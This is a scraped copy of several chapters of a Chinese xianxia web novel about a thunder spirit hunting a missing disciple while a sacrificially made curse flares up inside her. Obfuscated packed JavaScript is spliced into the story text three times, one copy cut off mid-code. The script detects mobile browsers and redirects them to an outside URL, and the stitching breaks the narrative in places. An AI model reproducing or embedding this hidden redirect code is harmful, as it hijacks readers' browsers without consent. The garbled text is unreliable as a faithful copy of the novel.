至于还有两个同门,因为是在山野间失踪的,这会儿依旧没有音讯。 再之后,苏若桃就忙到了现在。 匆匆收敛了已死师弟的遗骨,将其收入芥子袋中,她连哭都没时间,转头又去查看昏迷者的情况,加以治疗。期间还要抽空应付闻声而来的客栈老板,布下隔音结界以免治疗受到干扰…… 许是因为心乱,她连房门都未顾得上关紧。此刻房门半开着,从钟默的角度,正好能看到她忙碌的背影。 ……但说实话,她对苏若桃在干嘛,其实也不是很在意。 她比较在意苏若桃的芥子袋。 苏若桃刚才敛尸的时候她看到了。那具尸体的手中,正捏着一缕踪丝。 应当是临死前拿出来的,想用来寻找同伴。结果没来得及用就死了。 钟默可没忘记自己来明桥村到底是为了什么——本来就只是为了踪丝而已。 她现在倒是不担心郁清和的死活。灵域崩塌时她听到有人在喊什么大师兄的,听语气不像是在喊死人;而既然活着,那就得找,既然要找,自然还得要踪丝。 事实上,她会留到现在,也只是为这事。她记得苏若桃在灵域中说过,自己的踪丝早就为了找人用光了,但又觉着说不定别人那儿还会有,这才决定再留下再看看。 谁想,踪丝确实是有。只可惜没等她反应过来,就被苏若桃连人带丝一起塞袋子了。 ……更可惜,她本来可以抢了就跑。偏偏这边还有个烦人的小东西…… 略显不耐地抿唇,钟默垂头,看着一直抱着自己鞋子不放的小人: “喂,你还要抱多久。” “……” 那小人对她本就有些天然畏惧,被这么一问,眼眶立刻红了。低头嗫嚅好一会儿,才小声道: “能不能,再等等。 “娘亲忙。人会死。” “死就死呗。”钟默更是莫名,“人都是要死的。” 再说,他只是死了,又不是魂飞魄散了。 这不还能转世吗?运气好的话还能变鬼呢。 虽说鬼灵的脾气大多古怪,但好歹也是灵的一种。可比人体面多了。 钟默理直气壮地想着,见那小人哭得快断气却还是死抱着鞋子不放,又不由挑了挑眉。 然后就用两根手指,直接把人提了起来。 “听着,小东西。”她平静地说着,用手指轻轻捻着小人颊边垂下的长发,“对于幼灵,我向来包容。也很喜欢。但这不是你一再干扰我的理由。能懂我意思吗?” 手指拿开,方才还顺直的黑发,已然一圈圈地蜷曲起来。发丝的表面,还裹着一层未散的热度。 小人被吓得连哭都不敢了,紧绷着小脸,好一会儿,终于吸着鼻子点了点头。钟默满意颔首,将她放在了地上。 就在此时,却听屋内一声惊叫。 一股奇怪的气味随即窜入鼻尖。钟默微微蹙眉,试探地往里看了看,神情愈发微妙。 苏若桃的隔音结界只能阻拦外部声音,却不能隔绝内部声响,更无法起到视觉上的遮掩效果。因此,钟默此刻看得一清二楚——那原本还安静躺在床上的弟子,这会儿竟又鱼似地弹动起来。 一边扭动、一边哀嚎。额上青筋迸出,似是正承受着极大的痛苦,苏若桃急得脸色都变了,忙将手伸向对方额头。就在此时,却见对方双目圆睁,一个痉挛,肩上伤口崩开,竟喷泉似地喷出一大股血,洒了苏若桃一头一脸。 哦,原来如此——钟默歪了歪头,终于看明白了。 恶咒。还是挺凶的恶咒。看着能让人生不如死。 苏若桃显然也瞧出这点了,神情更加凝重。下一瞬,却见她反手抽出桌上佩剑,在掌间猛地一划,跟着又拿起对方右手,沾着自己的鲜血,在那人胳膊内侧飞快书写下一个符文—— 几乎就在符文完成的刹那,那人的哀嚎声顿止,整个人抽搐两下,又放松下来,安然闭上眼睛。 苏若桃这才长舒口气。快速料理好两人身上的皮肉伤,疲惫转身。一抬头,却正对上钟默发亮的双眼。 “你刚才用的是什么?”钟默认真问她,原本还倚在门框上的身体不知不觉已经站直,“你……会解恶咒?” “……略懂而已。”苏若桃难得见她这么较真的模样,不由一怔,想了想,又补充道,“但我刚才用的不是解咒符。解咒很难的,那个只是用来压制而已。” “哦——”钟默若有所思地点头,又深深看了眼躺在床上的人,“那那个符文……” “是我师祖发明的。”苏若桃抢先道,“本宗秘辛,不能教你。但如果你好奇,我可以好好和你说说。只是在此之前……” 她指了指自己血刺呼啦的脸,露出一个骇人又疲倦的苦笑:“能不能至少先等我,洗个脸?” * 所谓恶咒,即纯以伤害为目的的邪恶咒术。 和一般的禁咒不同,恶咒的针对性强,施展起来也更为繁琐。更重要的是,恶咒往往有“咒根”——施咒者会以自己的方式制作咒根,并将它种入目标的体内或魂中。越极端的仪式,制作的咒根越根深蒂固,在这种情况下,常规的净化或祓禊,都只能消除恶咒的表面效果。 而只要咒根没有被拔除,施咒者又还活着,恶咒便随时都有复发乃至反扑的可能。 “我刚用的那个符文呢,是我师祖仙去前想出来。据说她为了这个东西,耗尽半生心血。” 转眼,另一间客房内。苏若桃一边擦着刚刚洗净的脸,一边对坐在桌边的钟默低声道,声音透着些虚弱:“我师祖去后,我师尊又接手了这事。花了十几年工夫,修改完善……” 师弟伤亡带来的冲击犹在,她有心想借着这次谈话让自己分心,顺带稍作歇息。因此说得格外絮叨仔细。 钟默听得却不太专注。边听边想着自己的事,没等苏若桃说完便再次开口,问的话也相当没头没脑: “方才那人喷了不少血,你为什么还要割自己手?” 还在絮絮讲着独家符文变迁史的苏若桃:“……” “因为画这符文必须要干净的活人血。”无语归无语,钟默敢问,她倒也真敢答,“师弟已经中了恶咒,他人都不干净了,喷的血怎么敢用。” “哦……”钟默受教地点头,想了想,又问道,“那这个符文,什么恶咒都能压制?” “应该是吧。”苏若桃擦完了脸,又找出一只小木鸟,琢磨着该如何去找另外两个失踪的门人。 钟默:“对灵好用吗?” ……? “那我怎么知道?我又没试过。”苏若桃被她问得莫名其妙,眸光微转,又似明白了什么,放下了手中东西,“这么上心。怎么,你有认识的……人,被下恶咒了?需要我帮你看看吗?” 听钟默刚才那发言,她估摸着对方未必是人。但这种话题比较敏感,索性就含糊过去了。 钟默倒也坦然,直接点头:“嗯。被折磨很久了。不过她那个咒很难解,找了很多大能,都没能除掉咒根。” “什么恶咒,这么厉害。”苏若桃蹙眉,“咒根的制作方式无非也就那么几种。你和我说说,没准我听过。” “……” 不知是不是她错觉,听完这话,对面人竟似笑了一下。 “被种恶咒的那个倒霉蛋,是个灵。”跟着便听钟默道,语气竟十分坦然,“无形之灵,剖开本体。再取三千刚过破梦阶段的幼灵,献祭炼化,形成咒根,植入那灵的本体之中。” 她似笑非笑地看了眼苏若桃:“这样的恶咒,你知道怎么解?” “……”苏若桃听完,却是彻底傻了。 好半天,才听她难以置信道:“不可能吧,你这说法…… “即是无形之灵,又怎能剖开本体?还有、还有三千幼灵什么的,这、这也太……” “太什么,太夸张吗?”钟默侧头,“之前那灵域内的偃灵,你总记得吧?偃灵无法修炼,要喂成那样,只怕也要献祭百八十个灵裔,更别提那灵域中,远不止一个偃灵……就算只有十个好了,往少了数,至少也赔上了八百个灵裔的性命。” “相比起来,三千,也就是八百的三倍多而已。有什么不可能的。” 说完又是一笑,钟默若无其事地看向自己光洁的手臂内侧: “人啊,向来能折腾,不是吗?” …… 对面的苏若桃,却是久久都未应声。 她自小在芳菲谷长大,拜在谷中二长老医仙子门下,受师长熏陶,对待灵裔素来和善,外出执行任务时,若见到受伤的荒生野灵,只要条件允许,也会帮着医治。 像这样的事情,她闻所未闻,更是难以想象。 而就在她好不容易定下心神,张口想要再说些什么时,却听门外一阵突兀的呼唤——竟是那两个在山野失踪的同门互相搀扶着,自己找了回来。 苏若桃一个激动,立刻跳了起来。因太过疲惫,起身时身体还晃了一晃。跟着便见她快步冲了出去,没走多远,又冲了回来,将肩上的小人往钟默怀里塞。 “?”钟默一头雾水,“你给我干嘛?” “受累帮我藏一下,可千万别让人看见。”苏若桃飞快道,“他们不知道,这我偷偷养的……” 匆匆说完,转身就走。房门被重重关上,剩下钟默和小人两个,一大一小面面相觑。 小人的头发还卷着,看向钟默的目光也还带着害怕。片刻的静默后,却见她小心翼翼地朝着钟默挪了过去,伸出小小的手掌,按在了钟默的指节上。 “还、还疼吗?”她小声道。 “什么?”钟默垂眼看她。数息后,明白过来,“你说那个恶咒吗?” “没关系。没除干净而已。早就不疼了。” 她用手指点了点小人的脸颊,左右看看,又将人托在掌心,小心放到了旁边床铺的被子里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200432|149842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“放在这儿应该就算藏好了吧。”她自我肯定地点头,低头又掏出一个芥子袋。 这是她之前进屋去观摩苏若桃压制恶咒时,顺手从那个昏迷者身上拿的。 芥子袋认主,但对她来说不是问题。强行打开一看,果然在里面找到了一缕踪丝。 “总算拿到了。”她将用好的芥子袋塞到小人怀里,向后退到窗边,“走了,你保重。” 说完,打开窗户,轻飘飘地往外一跳。 转眼不见踪影。 * 另一头,明泽。 客栈客房内。 放出报信的木鸟终于飞回,停在郁清和伸出的掌间。 打开木鸟的腹腔,里面装的却并非书信,而是一枚玉简。 郁清和神情微动。略一犹疑,还是将那枚玉简拿了出来,掐决注灵。玉简随即亮起淡淡光芒,一道半透明的人影于虚空浮现。 鹤发童颜、岳峙渊渟,正是芳菲谷现任谷主季舞雩。 郁清和垂首行礼:“拜见师尊。” “起来吧。”季舞雩没有废话,直接问起了灵域内发生的种种。 其实大部分状况郁清和都已写在了信里,这回无非是再补充些细节而已。季舞雩听毕,微露沉吟,片刻后道: “关于破阵的神秘人,你当真一点线索都没有?” 郁清和低垂着眼,不自觉又想起灵域坍塌时的那匆匆一瞥。 旋即摇头:“确实没有。” “罢了。”这显然不是季舞雩期待的答案,“按你说法,此人灵力澎湃,又有役雷之术。这般特征,当今江湖倒是少见。” “或许是那高人低调,不喜张扬。弟子相信若是有缘,以后自会相见。” 郁清和说着,古怪地顿了下,微微抬眼。 “只是弟子不解。那人出手相救,又未挟恩以报。为何师尊的语气不见感激,反而满是防备?” 这话一出,毫不意外地换来季舞雩的冷冷一瞥。郁清和呼吸一滞,忙又低头:“弟子多嘴。” “我不知道你?面上认错,心里指不定怎么骂我。”季舞雩哼了一声,“你自己也说,那幕后黑手显然是早有谋划,针对芳菲谷连番布局。偏偏在这个时候,又有人好心相救,你就没觉得这事有什么古怪?” “……”郁清和嘴角轻动,默然不语。 季舞雩又是一声冷哼:“算了,你还年轻,看山是山。多说无益,有些事,你日后自会明白。” 说到这儿,眼下话题算是告一段落。季舞雩却似乎并没有离开的意思,虚影依旧浮在空中。这让郁清和不由冒出些不祥的预感,心中隐隐不安。 不出所料,几个呼吸后,季舞雩再次开口:“关于那门亲事,你到底是怎么想的?” 郁清和做了个深呼吸,将身体埋得更低些了,话语却是毫不迟疑: “弟子的想法,早已言明,未曾更改。” “幼稚!”季舞雩提高音量,“你知道你在说什么吗?” “四代弟子,以你天赋最高。如此不思进取,你对得起宗门这些年来对你的栽培吗!” 郁清和闭眼:“师尊恩重如山,弟子无以为报。身为修者,又如何不希望剑荡群邪、得证大道? “但这……决不是为一己私利,牺牲他人的理由。” “……” 话音落下,季舞雩神情微变。 过了一会儿,方听他沉声:“你何时知道的?” 郁清和默了下,声音低下去:“很早就知道了。” “难怪。”季舞雩摇头,“你的想法不无道理。但若能助你得成大道,那女子也算死得其所。” 郁清和浑身一震,依旧没有抬头。顿了片刻,才听他轻声道: “敢问师尊,究竟何为大道?” 他缓缓抬眼:“当今世上,多少修者。从古至今,又多少大能,有谁敢说自己得证大道?千百年来唯一可说得道飞升的,也就只黄钟真人一人而已。我又何德何能,敢说跨过了神魂一坎,就必定能够得道? “为了一个飘渺的目标,赔上一个无辜女子的一生乃至性命,这又是哪里来的道? “况且,师尊自幼教导我众生平等。都是人命,又怎分得出高低贵贱——” “住口!” 一声厉喝。季舞雩这次似是动了真怒,连带声音都带上了真力。 郁清和被震得稍稍一晃,很快便稳住了身形。然而看看恩师不虞的脸色,略一迟疑,却还是顺势单膝跪了下来。 果然,季舞雩见状,脸色稍霁。随即轻轻拂袖: “为师知道,你心性纯良,眼里容不得沙子。这是好事。以……以命定女子为炉鼎修炼,也的确不是什么正法。” 他说到这儿,轻轻咳了一声。不着痕迹地扫了眼仍低着头的郁清和,这才道: “这段时间来,为师也总在思量这事。半月前刚好在藏书阁里找到一本双修之法,若认真研习,对你二人都大有益处。只是有些心法不合你用,需要稍加修改。我已将此事委托给你师姑,凭她的能力,应当也快有结果了。” “……!”郁清和难以置信地抬头,“师尊……” “师什么尊?”季舞雩瞪他,“刚才不还骂得振振有词吗?就差骂我老畜生了。” “弟子不敢!”郁清和赶紧又把头递回去,“师尊之前,为何不说?” “能不能动动脑子?我好歹是谷主,老头一个,跑去研究双修术,像话吗?”季舞雩继续瞪他,“本想着到时托你师姑交给你,你倒好,直接跑了不算,见面还骂上了。” “玉剑流芳,我看你改叫口吐芬芳算了,没大没小!” 郁清和忙又告罪。换来季舞雩一声嗤笑。 “既已说开,就别再钻牛角尖了。和子月他们一起回来吧。”季舞雩道,“谷内正值多事之秋,你是大师兄,不在可怎么行。” 郁清和又应一声,季舞雩满意点头,虚影终于渐渐消失。 只剩郁清和一人,依旧维持着单膝跪地的姿势。抬头望着虚影消失的方向,眼神却闪动了几下,面上渐渐浮上几分思索。 很快,又一炷香后。 房间外响起轻轻的敲门声。陆子月大咧咧的声音随即响起,唤郁清和出来喝药。 等了一会儿,却没人应声。陆子月有些急了,推门而进,这才发现屋里已然空了。 人也好,剑也好,皆不见踪影。 唯有阵阵冷风,从大开的窗户里灌入,吹动桌上被镇纸压着的书信,发出猎猎声响。 10.第十章 是夜。 茫茫海上,一座孤岛。 岛是野岛,原本没有名字。八十年前,青城偃门精心打造的机关楼船“列姑射”在附近海域出事,破损的船体被浪一路推到这里——从此,“列姑射”就成了这岛的代称。 又因为“姑射”也是仙子的代称,所以有些人也会管这儿叫“仙冢”或是“仙坟”。 没人知道当时的偃门为何要花费巨资打造那样一座巨大的楼船,就像没人知道为什么它莫名其妙就折在了海里。人们只知道,这“列姑射”出事的时间实在太过不巧。 它前脚刚被海浪吞没,后脚偃门就爆发了激烈的内斗,多方势力争得你死我活,一时竟无人顾得上那艘支离破碎的楼船。最多只是拨几名弟子去附近看着…… 而当偃门内部情况终于稳定,准备去将船里的东西捞回来时,他们才发现,当初被派去看守废船的弟子竟早就死了个干净。 那艘装满了秘密的楼船,则连同它所搁浅的野岛一起,彻底消失在了人们的视野中—— 直至今晚。 随着一阵阵不成曲调的歌谣,无形的结界轻荡。结界的后面,破碎船体随着荒芜的孤岛,又悄然出现于月色之下。 “……花非花,我非我,大梦醒,芳菲几度?看岁月蹉跎,神仙埋骨……” 一个披着斗篷的身影正坐在翘起的船头,边轻轻哼着歌,边垂首玩着只小木鸟。动作间露出莹白的左手,十指修长,指甲圆润,一眼可见得好看。 他面朝着大海,身后是岛上的密林。有人从林子里走出来,怀里抱着一个大竹筐,筐里全是破碎的偃灵中枢。 “有病啊,现在还有心情唱歌?”那人没好气地说着,将竹筐重重往地上一放,“就为了你这点破事,整个灵巢都碎了!养那么久的偃灵也全都报废了!亏你还高兴得起来。” “已经发生的事,你气也没用。”披着斗篷的身影冷哼一声,撩起兜帽,露出一张秾丽的青年面容,“再说,我高兴,自然是因为遇到值得高兴的事。你问都不问就上来骂我,这才叫有病。” “哟,还真高兴上了。”来人抱起胳膊,“怎么,你亲娘终于来找你了?” “当然不是。”青年垂眼,“她养着那个姓郁的假货,不知多开心呢。哪里想得到我。” “之所以高兴,是因为我遇上了一个好人。她夸我,夸得可好听了。” 他说着,伸出自己的左手。袖口顺着动作滑下,露出完整的左臂——只要那小臂肤色同样莹白,线条流畅,按说也该是极好看的。 前提是,这条手臂上,没有七零八落地爬着一条条树皮。 树皮崎岖干枯,一眼望去,宛如丑陋的鳞片。青年嫌弃地皱眉,转眼又笑起来:“她夸我的手好看。这还是第一次有人这么夸我。” “啊?哪——哦,想起来了。”另一人恍然,“就最后那个进灵巢的女人是吧。” 说完,还特意看了眼青年右侧空荡荡的袖子,嗤了一声。 “就是那个死拽着你一条胳膊不放,吓得你自断一臂逃命的女人?” “……我当时只是有些无措。”被叫破丑事,青年脸色微红,却还是坚持,“但她确实夸我了。我留下的那条胳膊,后面她也一直留着,还带进了灵巢里。我看见了的。” “……” 旁边人一言难尽地看他一眼,想想再次开口:“提醒一下。虽然我们无法知道灵巢里面究竟出了什么事,但从目前情况来看,动手砸了你灵巢的,很可能就是她。” “是吗?”青年腼腆笑了下,“那她真厉害。” 旁边人:“……” 无法克制地翻了个白眼,他转身正要离开,忽似又想起什么,回过身来。 “对了。我记得你之前说过,因为不想被人看到你的树皮,所以行动时,干脆把胳膊上的树皮都刮了,对吧?”他回忆道,“因为刮不干净,甚至把整只手都染成黑色?” “是又怎样?”青年头也不回,“即使这样,她还是夸我了。” 回应他的是对方的一声冷笑,跟着就见那人不知从哪儿掏出条黑乎乎的东西,直接扔了过来。 “喏,在灵巢的废墟里捡到的。”那人抬抬下巴,“也不知道是被火烧了还是怎么,都变成焦黑一条了。我刚捡到时还奇怪是什么东西呢,现在再看——诶呀,该不会就是你的手吧?就你说的,被夸好看的那个?” “……” 青年没有回答。 他只偏了偏头,无声地看向那条被丢到身边的、犹散发着焦味的手臂。嘴角渐渐绷直。 看了良久,忽又轻轻笑起来。 “果然,又是骗我的。都喜欢骗我。” 他轻声说着,小心把那只木鸟放在了那断手旁边。再次开口时,声音已然冷漠下来: “说起来,这回灵巢里,死了多少?” “啊?”没料到他突然就换了话题,旁边人明显愣了下,“指哪个?偃灵吗?说了啊,全没了——” “问的是人。”青年寒声打断他的话,“芳菲谷的人。” “那我怎么知道。粗略估计——也就一二十个吧。”那人耸肩。 “真少。”青年抿了抿唇,“怎么那么少。” “少归少,也足够他们头疼了。”旁边人抱起胳膊,“安心,虽然这回损失是大了些,但不妨碍你的计划。只可惜了这些偃灵。” 那人说着,踹了脚旁边装满偃灵中枢的竹筐:“喏,全坏了。这些可都是当年从‘列姑射’里抢出来的稀罕货。这年头的偃门子弟一代比一代废,这种成色,杀了他们都未必能再做出来。” “……”青年神情微变,好一会儿才道,“你之前不是还捞了个很懂炼化的疯子吗?不能找他来修?我可以出钱。” “术业有专攻,偃灵和炼化又不是一回事。”旁边人道,“再说,那疯子最近可忙呢。你就算去求他,估计也没空管你。” 青年皱眉:“他忙?他有什么好忙的?” “忙着发疯呗。”那人抱起胳膊,“本来就神神叨叨的,也不知是不是死过一次伤了脑子,非说自己有过一个造化灵,差一点就能改天换地,厉害得很……约莫半月前,突然疯得更厉害了。” “说什么,他的造化灵回来了,他要赶紧把她叫回来,不能浪费他当年耗费的心血。然后就到处找什么法器灵物的,好像是打算弄什么仪式……哦对了,你这胳膊还要吗?” 说到这儿,忽似想起什么,他忙朝着那只断手抬了抬下巴: “他最近到处找灵物呢,你这胳膊,多少也能沾点边。不要的话,给我拿去做个人情。” “才不。” 青年不假思索地拒绝,利落起身。 顺势一脚踩在那只断手的手掌上,愉快地看着那手掌粉碎。好半天,才又缓缓吐出后半句话: “他丑。我膈应。” * “呃……” 转眼,又三日后。 远在芳菲谷支门的映秋月正小心调整着面前的铜镜,试图让镜中的影像更清楚些。 镜子里,钟默正打着呵欠朝她看,怀里似乎还抱着什么东西,从映秋月的视角,只能看到一点茸茸的白毛。 作为一只同样毛绒绒的狐狸,映秋月很难对此不在意。然而她现在用的镜子实在太小了,不管怎么调都照不到更多。 没办法,她只能作罢,想起不久前刚听钟默说过的话,又不由一阵头疼。 “娘娘。”她试图和钟默确认,“您的意思是,在您正式动身后不久,那些踪丝便不知为何,全都失去了效果。无法指到郁清和所在的方向。” “嗯。”镜子内,钟默诚恳点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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还捏嗓子,当她听不出来那叫声有多假吗?你个公狐狸再演一下试试呢? “野英山啊?那娘娘您确实跑得有些远了。”话虽如此,再次开口时,她的声音也不由自主地柔媚起来,甚至还翘了个兰花指,“芳菲谷的势力主要是在西南,野英山却是在神州北面的。那边最大的灵修门派是夷梦泽。” 一方水土养一方灵。也难怪那些长在山里的小精怪没听过芳菲谷的名号。 映秋月无奈想着,认真给钟默指了方向。又主动请缨,打算去给钟默打听木鸟的正经用法,也省得钟默之后继续迷路。 “没事。问题不大。知道该往哪儿走就行。”钟默倒是很想得开,手指还在不停地呼噜怀中白狐狸的毛,看得映秋月又是一阵胸闷气短。 气也没办法,总不能现在冲过去把那狐狸拎出来打一顿。横竖事儿也说得差不多了,便鼓着脸闷闷告退,关闭水镜前,想起这段时间来听到的关于夷梦泽这边的种种传闻,又忍不住提醒一句: “北边近来据说很不太平,有不少邪修在那儿聚众活动。娘娘还是早些回来吧。” 钟默应了一声,挥了挥手,映秋月眼前镜面微荡,一切随即恢复如常。 和映秋月不同,钟默这边是没有镜子的。她用以沟通的媒介只是一汪泉水。水镜结束,她就着俯身的姿势,拘了口泉水喝了,又喂了怀里的野狐狸一些,这才伸伸懒腰站起身,开始找起回程的路。 小狐狸陡然被放到地上,犹自恋恋不舍,嘤嘤嘤地在她脚边蹭来蹭去,叫得那叫一个楚楚可怜;又听身后有窸窸窣窣声响,转头一看,才发现后面不知何时又悄悄凑过来好些精怪,正躲在石头后面巴巴地看她,手里还提着一臂长的鲤鱼和用草绳兜起的一长串鸟蛋。 看得钟默一阵头疼。 “都拿回去拿回去,我不要这些——等等,这是什么?不会是你的崽吧?拿走拿走,我不用。” 人家毕竟主动过来上贡的,钟默也不想太疾言厉色。好说歹说把那些精怪都劝回去,抬脚正要离开,身形忽然一顿。 旋即猛地转头。 “……谁在叫我?”她微微蹙眉,目光扫过四周。 无人回应。 唯有阵阵冷风,拂过林间。 11.第十一章 “娘……娘娘?” 空寂的山头,躲在大石后面的白色小狐狸悄悄探头,不解地看向仍在四顾的钟默: “娘娘是想要找谁吗?这座山的小白都认识,小白可以去帮娘娘叫。” 钟默闻言却默了下,跟着轻轻摇头。 “不。算了。没事。”她淡声说着,转身欲走,身体却又突然摇晃两下,猛地弓起身体。吓得那小狐一惊,忙扑过去,奔到近前才发现钟默按着心口眉头紧蹙,短短数息之间,竟已满头大汗! “娘娘!”那小狐更是紧张,直接人立而起,“娘娘可是哪里不适?小白帮您去叫人——” 这回钟默却没再顾得上理他,只抬手让他安静,随即又仰头看向四周,像是在倾听什么的样子,眉头拧得更紧。 又是几个呼吸后,才听她再次开口,虽然声音透着些虚,依旧是那种不紧不慢毫无波澜的语气: “你知道这附近哪里有人……嘶。” 话未说完,身体又是一颤,按着胸口的十指越发收紧。顿了会儿,才又出声,问的问题却明显是换了一个: “附近,有没有灵巢?” “灵巢……”小白狐狸露出茫然神情,“这边的话,我还真没听过……” 灵巢素来只有有一定修为的大妖灵才能搭建,然而它们这边太乱,已经很久没有出过像样的大妖灵了…… 小狐狸很想这么说,然而看到钟默难受的样子,又实在说不出口。颇为无力地绕着钟默转了几圈,它忽然福至心灵般瞪大眼睛: “等等,巢、巢的话……人的巢可以吗?人的巢附近就有!” “人巢?房子?”钟默无奈地看他一眼,脸色白得愈加明显,“房子没用……” “不是房子、不是房子!”那小狐狸立刻道,记得尾巴都乱甩起来,“就那边、那边!百里外的另一个山头!最近来了好多人,还在山旁边做了法术墙,都和灵巢的墙一样……” “法术墙?”钟默猛然抬眼,“你是说,结界?” “应、应该?”小狐狸不太确定地开口。它其实不知道那该叫什么,但它曾远远看过一眼,只觉那种墙确实和灵巢很相似。气息几乎一模一样,也同样叫人看不清里面的东西——明明前脚还能看到有人排着队往山里走,等他们进山后,却又怎么都看不到了。 “人……”钟默闭了闭眼,“也就是说,那边既有结界,也有人。” 说话间,她身体又晃了下,瞧着似乎更难受了。但不知是不是那小狐的错觉,总觉得娘娘在听到这消息时,反倒像是松了口气。 纠结了下,小狐狸又轻轻用嘴拱了拱钟默。 “但是娘娘,那边的好像都不是什么好人。”它小声道,“哥哥姐姐都不让我过去,说去了那边的灵没再回来……” “没关系。”钟默却像是下定了什么决心,深吸口气,又摇摇晃晃地直起了身体,伸手在小狐狸的脑袋上拍了拍。 “再坏的人,血都是热的。能用。 “行了,别管我了。你快回去吧。” 她说这两句话时,语气仍旧没什么起伏。甚至表情都没怎么变化。那小狐狸呆呆仰头,下意识用脑袋追逐了一下钟默的手掌,直到亲眼看着她转身化雷而去,方恋恋不舍地垂下尾巴,收回目光。 ——而只有钟默自己知道,几乎是在转身的瞬间,她表情就有些绷不住了。 牙齿气到都快咬碎,怒气随着灵力一起爆发,就连化雷时的温度,似乎都比平时高了几倍。 明明已经化雷,耳畔那缥缈的呼唤却还在继续。不如说,从刚才起,它就再没停过—— 一声一声、一句一句,古老的真名混着难解的咒文,仿佛一条无形的锁链,远隔千里却依旧精准地套上了她的脖子,顽固地将她朝着声音的来处拖去。 随着呼唤一起到来的,还有疼痛。身体里像是有什么正在爬动,细密的痛楚宛如蜈蚣的细脚,快速又细致地钻过每一寸经络皮肉和骨血,将所有完整的部分,都用嘴钳一点点撕开。 钟默很熟悉这种痛楚。这是恶咒生长的动静。 相关的记忆早已模糊,但她很清楚。在那被关住的那三百年里,她身体曾承受过不止一道恶咒——有的是为约束,有的是为控制,有的则是单纯是为了某种试验。而在她逃出后,她北天极的姐姐们费尽心思,总算是勉强替她除掉了其中的大部分。 只剩下最后一个。仅剩的咒根一直深深嵌在她的心魄里,怎么都无法祛除。 而现在,随着种咒者的呼唤,那一点咒根终于又开始蠢蠢欲动、发芽生长。 问题是……那家伙为什么还活着? 努力压制着体内蔓延的恶咒,化为雷团的钟默越发困惑。 对于过去,她确实忘了很多。但有一些事,她确定自己是记得的,且绝对没有记错。 而在她的记忆里,那个人明明早就死了。 不仅死了,还是死在她面前。为绝后患,她还亲自动手抽出了对方的魂魄,撕得粉碎。 为此她甚至付出了不小的代价——毁坏人魂,虽说不像杀人那样会招来巨大反噬,但同样是为天道所不喜的。一旦行之,必会招来相应的惩罚。 但没办法,谁让人会转世呢?还有可能变成鬼灵。她总得小心一些。 ……但从没谁告诉她,被碾成碎块的魂魄都还有复生的可能啊? 就这么难杀吗?! 钟默几乎是要咆哮了。一阵疼痛又猛地拽回了她的思绪。她痛得在空中连打了好几个滚,翻出一阵天崩般的雷鸣;滚完之后,人反倒冷静不少,定下心神,继续往之前小狐狸所指的方向飞去。 如果有的选,钟默当然更愿意直接顺着这些呼唤爬过去把人宰了;问题是这样的风险太大。 对面是有备而来,而自己对现在的状况一无所知又恶咒缠身,更重要的是,她无法确定对面现在还是不是活人…… 如果是的话,她未必讨得了好。 既然如此,就她唯一能做的,就是设法缓解恶咒,让自己尽快回归正常的状态。 若只是要对付恶咒的话,倒也简单。她本身的灵力就可以强行压制大部分恶咒,况且她之前还从苏若桃那儿学了个好用的压制符,只是绘制需要干净人血。 ……但加上种咒者的呼唤,这事就变得有些烦了。 恶咒本身就会对种咒者的声音产生反应,变得更加骚动难以应付。况且那召唤就是冲她来的,跟个链子一样正死命拖拽着她,要抵抗这种拖拽,少不得又得分出一部分心力。 又要专注压制恶咒,又要分神抵抗召唤,即使是对她来说,这事也有些太过吃力了。 所以她之前才问狐狸,附近哪里有灵巢,自带灵力隔绝效果的灵巢—— 找到了! 先前的几个打滚让她险些又迷失方向,好在这回运气不错,原地胡乱转了几圈后,还真让她找到了一面巨大的、拦在一座山外的结界墙—— 没有片刻的犹豫,钟默立刻朝那儿撞了过去。当然,这回她有小心控制力道,没再把这面人家的结界墙直接撞毁。 穿过的刹那,只听咔哒一声。所有恼人的呼唤都瞬间远去,世界果然恢复了安静。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235586|149842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 旋即便是一阵滚地摩擦的声响。化为人形的钟默重重摔倒在地。 ……倒不是她有多喜欢这个形态。纯粹是雷团子的动静太大,而她这会儿并不想引起太多注意。 遗憾的是,她现在的动静似乎也没多小。没过多久,就听见附近有脚步声传来。 没有召唤声的催化,体内的恶咒果然逐渐消停。钟默趁机调动灵力,将它更用力地按了下去,周身疼痛却仍未止息,有点眼冒金星,还有点耳鸣。 就这么会儿工夫,那脚步声也更近了。她挣扎着起身,正见两人从附近的山林里钻出来,在不远处站定脚步。 是两个男人。都很年轻,衣着也很华贵。结界内估计做了布置,天色比外面还黑,因此那两人手里还点着火把,见到她的刹那,明显怔了下,再看清她模样后,却又很快放松下来。 旋即往前走了几步,借着火光又观察一番,目光更是放肆,仿佛见到了什么好玩的东西似的。 跟着便听其中一人开口,声音里带着调笑: “姑娘也是来参加集会的?一个人来,不怕无聊啊?” “就是。”另一人附和着开口,毫不掩饰地在钟默身上打量,语气越发轻佻,“无不无聊倒是其次,妹妹你这娇滴滴的,怕不是刚进集会就要被欺负。” “不如跟着哥哥一起进去啊。还能带你吃好的,保你不白来这一趟。” “……” 钟默却始终没说话,只在那儿静静看着他们。过了好一会儿,才突然开口: “你俩,是人吗?” “???” 